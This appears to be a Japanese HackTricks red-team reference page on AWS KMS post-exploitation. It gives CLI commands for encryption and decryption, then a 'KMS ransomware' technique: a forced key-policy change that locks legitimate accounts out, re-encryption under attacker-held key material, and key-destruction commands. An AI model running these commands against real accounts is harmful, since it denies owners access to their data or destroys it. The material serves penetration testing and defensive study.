AWS - KMS ポストエクスプロイテーション

Reading time: 6 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

KMS

詳細については、以下を確認してください:

AWS - KMS Enum

情報の暗号化/復号化

fileb://file:// は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです:

  • fileb://: バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。
  • file://: テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。

tip

ファイル内のデータを復号化したい場合、そのファイルにはバイナリデータが含まれている必要があります。base64 エンコードされたデータではありません。(fileb://)

  • 対称キーを使用して
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • 非対称キーを使用する:
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS ランサムウェア

特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、自分のアカウントに対してアクセスを付与し、正当なアカウントに付与されたアクセスを削除することができます。

その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。

warning

AWS 管理キーはこの攻撃の影響を受けません顧客管理キーのみが影響を受けます。

また、パラメータ --bypass-policy-lockout-safety-check を使用する必要があることに注意してください(このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です)。

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して元のアカウントにアクセスを戻そうとしても、クロスアカウントからPut Policyアクションを実行できないため、できません

一般的なKMSランサムウェア

グローバルKMSランサムウェア

グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます:

  • 攻撃者によってインポートされたキー素材を持つ新しいキーを作成する
  • 以前のバージョンで暗号化された古いデータを新しいもので再暗号化する
  • KMSキーを削除する
  • これで、元のキー素材を持つ攻撃者のみが暗号化されたデータを復号化できるようになります

キーを破壊する

bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

AWSは現在、クロスアカウントからの以前のアクションの実行を防止しています:

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする